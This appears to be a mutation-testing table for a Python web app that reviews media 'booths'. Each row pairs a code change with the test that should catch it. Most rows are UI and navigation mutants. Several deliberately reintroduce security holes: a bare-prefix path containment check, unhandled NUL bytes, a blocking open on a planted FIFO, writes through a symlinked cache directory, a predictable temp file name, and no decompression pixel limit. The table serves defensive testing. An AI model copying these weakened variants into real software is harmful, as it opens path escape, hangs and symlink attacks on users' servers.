new = '''{% block html_attrs %}{% endblock %}'''
|
||||
|
||||
# ---- C2/C3: picking and stepping, server-built
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 linked steps do not keep the distance (B lands one after A)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_linked_steps_keep_the_distance_and_wrap"
|
||||
old = ''' "both_next": url(ring[(ia + 1) % n], ring[(ib + 1) % n]),'''
|
||||
new = ''' "both_next": url(ring[(ia + 1) % n], ring[(ia + 2) % n]),'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 linked steps stop at the end instead of wrapping"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_linked_steps_keep_the_distance_and_wrap"
|
||||
old = ''' "both_next": url(ring[(ia + 1) % n], ring[(ib + 1) % n]),'''
|
||||
new = ''' "both_next": url(ring[min(ia + 1, n - 1)], ring[min(ib + 1, n - 1)]),'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-1 a link is keyed by ordinal"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_urls_are_keyed_by_rel"
|
||||
old = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}"'''
|
||||
new = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}&i={by_rel[x].ordinal}"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-1 a rel is not url-quoted in a link"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_urls_are_keyed_by_rel"
|
||||
old = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}"'''
|
||||
new = ''' u = f"/b/{name_url}/compare?a={x}&b={y}"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the view state does not ride the links"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_view_state_rides_the_links"
|
||||
old = '''
|
||||
if not linked:
|
||||
u += "&link=0"
|
||||
return u'''
|
||||
new = '''
|
||||
return u'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 an unknown side reads as A"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_view_state_rides_the_links"
|
||||
old = ''' side_a = side == "a"'''
|
||||
new = ''' side_a = side not in ("", "b")'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the review's Compare does not wrap (the last item compares with itself)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_review_offers_compare_with_the_next_item"
|
||||
old = '''(ring[(pos + k) % len(ring)] for k in range(1, len(ring) + 1))'''
|
||||
new = '''(ring[min(pos + k, len(ring) - 1)] for k in range(1, len(ring) + 1))'''
|
||||
|
||||
# ---- C5: the regions and the JS-off flag landing
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the side regions share one id (B's control becomes A's after a save)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare.py::test_no_data_region_repeats"
|
||||
old = '''<div class="cmp-flag" data-region="flag-{{ key }}">'''
|
||||
new = '''<div class="cmp-flag" data-region="flag">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 back=compare lands on a pair outside the ring (no ring check)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
|
||||
old = '''
|
||||
if a in ring and b in ring:'''
|
||||
new = '''
|
||||
if True:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the landing echoes the form's side instead of mapping it"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
|
||||
old = '''
|
||||
if form.get("side") == "a":
|
||||
url += "&side=a"'''
|
||||
new = '''
|
||||
if form.get("side"):
|
||||
url += "&side=" + str(form.get("side"))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the landing carries a fragment"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
|
||||
old = '''
|
||||
return RedirectResponse(url=url, status_code=303)
|
||||
return RedirectResponse(url=f"{base}#{anchor}", status_code=303)'''
|
||||
new = '''
|
||||
return RedirectResponse(url=url + "#" + anchor, status_code=303)
|
||||
return RedirectResponse(url=f"{base}#{anchor}", status_code=303)'''
|
||||
|
||||
# ---- C4: the stages
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the sides stack on a wide screen (compare's break is not the review's 900px)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
# Not the column count: each side spans every row (subgrid), so a single
|
||||
# declared column still auto-places the second side into an implicit column
|
||||
# beside the first — that row was vacuous. The break is what a slip moves.
|
||||
old = '''
|
||||
@media (max-width:900px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
new = '''
|
||||
@media (max-width:1600px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 a caption takes its height from one stage only (Fit draws the two at two scales)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
.cmp-side{display:grid;grid-row:1 / -1;grid-template-rows:subgrid;'''
|
||||
new = '''
|
||||
.cmp-side{display:grid;grid-row:1 / -1;grid-template-rows:auto minmax(0,1fr) auto;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 stacked, a stage keeps the review's 60vh"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
.review.compare .vstage{height:45vh}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 Z is not bound (the mode key is missing on compare)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_one_mode_for_both_and_for_the_review"
|
||||
old = '''
|
||||
else if ((k === 'z' || k === 'Z') && mode) mode.flip();'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 no synced pan"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_synced_pan_lands_on_the_same_crop"
|
||||
old = '''
|
||||
sync(s.el, other);'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the sync copies the pixel offset, not the fraction"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_synced_pan_by_fraction_for_different_sizes"
|
||||
old = '''
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;'''
|
||||
new = '''
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the synced-pan loop guard is gone (a sync echoes back and walks the side put)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_synced_pan_by_fraction_for_different_sizes"
|
||||
old = '''
|
||||
if (mine) {
|
||||
s.el.__synced = null;
|
||||
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
|
||||
}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- C2/C3: the view state and the keys, in the page
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 unlinked, an arrow still moves both sides"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');'''
|
||||
new = '''
|
||||
var which = 'both' + (dir < 0 ? '-prev' : '-next');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the unlinked state does not survive a step (it is not in the next URL)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
if (!linked) parts.push('link=0');'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 X does not swap the active side"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the active stage does not wear the reticle"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
.cmp-side.is-active>.cmp-stagewrap::after,.film-f.is-active::after{content:"";'''
|
||||
new = '''
|
||||
.film-f.is-active::after{content:"";'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 a strip click always replaces B (not the side active now)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
|
||||
old = '''
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (!pick) return;'''
|
||||
new = '''
|
||||
var pick = f.getAttribute('data-pick-b');
|
||||
if (!pick) return;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 a press on a stage does not make its side active"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
|
||||
old = '''
|
||||
s.el.addEventListener('pointerdown', function () { setActive(s.k); });'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the active side is not written back into the URL (a reload forgets it)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
|
||||
old = '''
|
||||
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 a held modifier does not make the keys inert"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
var k = e.key;'''
|
||||
new = '''
|
||||
if (isEditable(e.target)) return;
|
||||
var k = e.key;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 Space on a focused control steps instead of pressing it"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''
|
||||
if (e.target.closest && e.target.closest('button, a, summary, video, audio')) return;'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-6 the review has no C key"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''
|
||||
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- C5: judging in place
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 a stage is a region (a save swaps it, and a playing track restarts)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
|
||||
old = '''<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}'''
|
||||
new = '''<div data-region="stage-{{ key }}" class="vstage{% if s.kind == 'image' %} is-img{% endif %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the B key presses the first flag button on the page (A's)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
|
||||
old = '''
|
||||
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());'''
|
||||
new = '''
|
||||
var btn = document.querySelector('.cmp-flag .vflag-btn');'''
|
||||
|
||||
# ---- C6: blur
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 Reveal all leaves the per-side reveals standing"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''
|
||||
.reveal-all .cmp-reveal{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 a side's reveal lifts A's blur whichever side it sits on"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');'''
|
||||
new = '''
|
||||
var stage = sides.a.querySelector('.vstage');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 compare's root is not a .review (the blur rules do not reach its stages)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''<div class="viewer review compare" data-linked'''
|
||||
new = '''<div class="viewer compare" data-linked'''
|
||||
|
||||
# ---- INV-4: without JS
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-4 the JS-only Linked toggle shows without JS (inline-flex beats [hidden])"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_without_js_every_judgment_and_step_still_works"
|
||||
old = '''
|
||||
.cmp-link[hidden]{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-4 without JS a strip frame goes nowhere useful (links the review instead)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_without_js_every_judgment_and_step_still_works"
|
||||
old = '''
|
||||
href="{{ x.pick }}" data-rel'''
|
||||
new = '''
|
||||
href="/b/{{ name_url }}/view?f={{ x.url }}" data-rel'''
|
||||
|
||||
# ---- the top bar at phone width (the review's, and compare's)
|
||||
|
||||
[[mutation]]
|
||||
label = "at phone width a full top bar scrolls the page sideways instead of wrapping"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_review_and_doc_top_bars_fit_a_phone"
|
||||
old = '''
|
||||
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "compare's top bar crushes its controls at phone width (the Fit | 1:1 toggle to 2px)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- the heid code-review fold (01M3AJXX8RH4QZPY5D1DQWQQGQ)
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the separator is a border on B (B's stage 1px narrower than A's)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
background:var(--surface-sunken)}'''
|
||||
new = '''
|
||||
background:var(--surface-sunken)}
|
||||
.cmp-side+.cmp-side{border-left:1px solid var(--border-subtle)}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the stack break drifts to 1000px"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
@media (max-width:900px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
new = '''
|
||||
@media (max-width:1000px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 a side with nothing to scroll on an axis does not ignore it (0/0 resets the other)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_an_axis_with_nothing_to_scroll_is_ignored"
|
||||
old = '''
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;'''
|
||||
new = '''
|
||||
if (ty > 0) t = from.scrollTop / fy * ty;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 two videos get a Fit | 1:1 toggle"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_video_or_track_plays_in_its_own_stage_and_two_get_no_toggle"
|
||||
old = '''
|
||||
"any_image": any(by_rel[r].kind == "image" for r in (a, b)),'''
|
||||
new = '''
|
||||
"any_image": True,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 Space on a focused player steps the pair"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''e.target.closest('button, a, summary, video, audio')'''
|
||||
new = '''e.target.closest('button, a, summary')'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 there is no back arrow"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
else if (k === 'ArrowLeft') step(-1);'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 containment is a bare prefix (a sibling booth sharing the name opens)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_an_outside_symlink_in_the_ring_is_404"
|
||||
old = '''
|
||||
return str(target).startswith(str(booth) + os.sep) and target.is_file()'''
|
||||
new = '''
|
||||
return str(target).startswith(str(booth)) and target.is_file()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the strip is not in ring order"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_compare_renders_the_pair"
|
||||
old = '''
|
||||
"pick_a": url(r, b), "pick_b": url(a, r)} for r in ring]'''
|
||||
new = '''
|
||||
"pick_a": url(r, b), "pick_b": url(a, r)} for r in ring[::-1]]'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 each reveal lifts B's blur whichever side it sits on"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');'''
|
||||
new = '''
|
||||
var stage = sides.b.querySelector('.vstage');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the strip does not show a flag made in place"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
|
||||
old = '''<a class="film-f{% if x.flagged %} is-flagged{% endif %}'''
|
||||
new = '''<a class="film-f'''
|
||||
|
||||
# ---- the heid bug-hunt fold (01M3ANEPHTDMPP4Q18Z075181W)
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 navigation is built from the review ring (it offers an outside symlink that 404s)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_no_navigation_offers_a_pair_that_404s"
|
||||
old = '''
|
||||
return [r for r in review_chain(items) if _in_booth(booth, r)]'''
|
||||
new = '''
|
||||
return list(review_chain(items))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a NUL in the booth segment is a 500 (ValueError is not an OSError)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_hostile_booth_names_are_404_not_500"
|
||||
old = '''
|
||||
resolved = candidate.resolve()
|
||||
except (OSError, ValueError):'''
|
||||
new = '''
|
||||
resolved = candidate.resolve()
|
||||
except OSError:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a FIFO planted at .viewed hangs the look (a blocking open)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_planted_fifo_marker_cannot_hang_a_look"
|
||||
old = '''os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW | os.O_NONBLOCK, 0o644)'''
|
||||
new = '''os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o644)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 an encoded view-state name survives the rewrite (%73ide=a outlives X)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_an_encoded_view_state_name_is_still_view_state"
|
||||
old = '''
|
||||
return p && n !== 'side' && n !== 'link';'''
|
||||
new = '''
|
||||
return p && !/^(side|link)(=|$)/.test(p);'''
|
||||
|
||||
# ---- after the merge: booth-dev's race note (01M3AT7GKCPATJD5YW0PR3SRPT)
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 a side is judged twice (the ring rebuilt per side): a side that vanishes between is a 500"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_side_that_vanishes_mid_request_never_500s"
|
||||
old = '''
|
||||
ring = _compare_ring(booth, items) # built ONCE; every rel judged once
|
||||
a = _compare_side(ring, a)
|
||||
b = _compare_side(ring, b)'''
|
||||
new = '''
|
||||
a = _compare_side(_compare_ring(booth, items), a)
|
||||
b = _compare_side(_compare_ring(booth, items), b)
|
||||
ring = _compare_ring(booth, items)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the review offers Compare for an item that vanished after its own check"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_review_hides_compare_when_its_item_vanishes_mid_request"
|
||||
old = '''
|
||||
if _in_booth(booth, f):
|
||||
partner'''
|
||||
new = '''
|
||||
if True:
|
||||
partner'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a NUL in the raw file path is a 500 (the stages load through this route)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_nul_in_a_file_path_is_404_not_500"
|
||||
old = '''
|
||||
target = (booth / filepath).resolve()
|
||||
except (OSError, ValueError):'''
|
||||
new = '''
|
||||
target = (booth / filepath).resolve()
|
||||
except OSError:'''
|
||||
|
||||
# Refuted, not rowed (bug hunt): "a right-click mid-drag ends the pan" — a
|
||||
# second button pressed and released during a drag arrives as chorded
|
||||
# `pointermove` events, never a `pointerup` (measured 3/3 in the test browser,
|
||||
# the pan continuing each time). "A non-UTF-8 name 500s compare in `quote()`" —
|
||||
# booth_items never yields a rel that quote() cannot encode (test_flow's
|
||||
# test_ordinals_count_rendered_items_only).
|
||||
#
|
||||
# Accepted, not rowed: the mode's `onChange: settleAll` (re-deciding which stage
|
||||
# can pan) is redundant with compare's ResizeObserver — 1:1 drops the stage's
|
||||
# padding, so every mode change resizes the stage's content box and the
|
||||
# observer settles both. Its row stayed green; each alone holds.
|
||||
#
|
||||
# Accepted, not rowed: the `booth:swapped` restate is redundant with the URL
|
||||
# rewrite — the in-place client re-fetches `location.href`, which already
|
||||
# carries `side`, so the fresh strip renders the active side itself. Each alone
|
||||
# holds; the save test (a_save_keeps_the_active_side) sees the pair.
|
||||
@@ -0,0 +1,142 @@
|
||||
# Thumbnails sized for the tile's WIDTH at 2x density, not 512 on the longest
|
||||
# side. The operator on sindra-nude-final, 2026-09-23: "the images look blurry
|
||||
# until they're selected and blown up". Every row is a change
|
||||
# tests/test_thumbs.py or tests/test_thumbs_browser.py claims to forbid.
|
||||
|
||||
unit = "thumbnails sized for the tile"
|
||||
|
||||
[[mutation]]
|
||||
label = "the old rule: bound the longest side at 512 (portraits get 256px of width)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_portrait_keeps_its_full_width"
|
||||
old = '''
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))'''
|
||||
new = '''
|
||||
im.thumbnail((512, 512))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the width bound is below what the desktop tile needs at 2x"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs_browser.py::test_a_thumbnail_covers_its_tile_at_2x_density"
|
||||
old = '''
|
||||
THUMB_WIDTH = 768'''
|
||||
new = '''
|
||||
THUMB_WIDTH = 640'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no height bound: a long screenshot goes through at full height"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_extremely_tall_image_is_bounded_by_height_too"
|
||||
old = '''
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))'''
|
||||
new = '''
|
||||
im.thumbnail((THUMB_WIDTH, 10 ** 6))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "fitting in pixels is taken as light in bytes (the megabyte portrait is served whole)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_tile_width_image_that_is_heavy_still_gets_a_thumbnail"
|
||||
old = '''
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
|
||||
new = '''
|
||||
if fits:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an already small, light image gets a cache entry that saves nothing"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_already_small_image_gets_no_thumbnail"
|
||||
old = '''
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
|
||||
new = '''
|
||||
if fits and getattr(im, "is_animated", False):'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a heavy animated GIF that fits is flattened to one frame"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_animated_gif_that_fits_is_served_as_itself"
|
||||
old = '''
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
|
||||
new = '''
|
||||
if fits and s_stat.st_size <= THUMB_LIGHT_BYTES:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unversioned cache name: a thumbnail cut to the old rule is served forever"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_thumbnail_cut_to_the_old_rule_is_not_served"
|
||||
old = '''
|
||||
return booth / THUMB_DIR / f"{rel}.{rule}.webp"'''
|
||||
new = '''
|
||||
return booth / THUMB_DIR / (rel + ".webp")'''
|
||||
|
||||
# ---- the heid bug-hunt on this change (4/4 arms), folded ------------------------
|
||||
|
||||
[[mutation]]
|
||||
label = "a cache hit trusts the name and the mtime (a planted directory is served)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_planted_directory_at_the_cache_path_is_not_served"
|
||||
old = '''
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns'''
|
||||
new = '''
|
||||
return o.st_mtime_ns >= s_stat.st_mtime_ns'''
|
||||
|
||||
[[mutation]]
|
||||
label = "freshness is 'at least as new' (a cp -p'd older source pins the old thumbnail)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_source_replaced_with_an_older_mtime_is_rebuilt"
|
||||
old = '''
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns'''
|
||||
new = '''
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns >= s_stat.st_mtime_ns'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the cache dirs are made by following links (a planted .thumbs link escapes the booth)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_symlinked_cache_dir_is_never_written_through"
|
||||
old = '''
|
||||
if not _cache_dir(booth, out.parent):
|
||||
return None'''
|
||||
new = '''
|
||||
out.parent.mkdir(parents=True, exist_ok=True)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a predictable temp name the encoder writes through"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_planted_link_at_the_old_temp_name_cannot_redirect_the_write"
|
||||
old = '''
|
||||
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
|
||||
try:
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)'''
|
||||
new = '''
|
||||
tmp = str(out) + f".{os.getpid()}.tmp"
|
||||
try:
|
||||
im.save(tmp, "WEBP", quality=THUMB_QUALITY, method=4)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "RGBA chosen by getbands() alone (palette transparency baked opaque)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_palette_transparency_survives_the_thumbnail"
|
||||
old = '''
|
||||
alpha = "A" in im.getbands() or "transparency" in im.info'''
|
||||
new = '''
|
||||
alpha = "A" in im.getbands()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "EXIF orientation ignored (a camera portrait tiled sideways)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_camera_portrait_is_sized_and_saved_upright"
|
||||
old = '''
|
||||
orientation = im.getexif().get(0x0112, 1)'''
|
||||
new = '''
|
||||
orientation = 1'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no pixel budget: whatever the header claims is decoded"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_image_past_the_pixel_budget_is_never_decoded"
|
||||
old = '''
|
||||
if w * h > THUMB_MAX_PIXELS:
|
||||
return None'''
|
||||
new = '''
|
||||
if False:
|
||||
return None'''
|
||||
@@ -0,0 +1,236 @@
|
||||
# U7 — every falsifier the navigation unit claims, and the change it forbids.
|
||||
#
|
||||
# Generated from the session harness that proved them, not retyped. Each `old`
|
||||
# must match the source byte-for-byte; a drifted anchor is REPORTED, never
|
||||
# silently skipped — a table that stops matching stops proving anything.
|
||||
|
||||
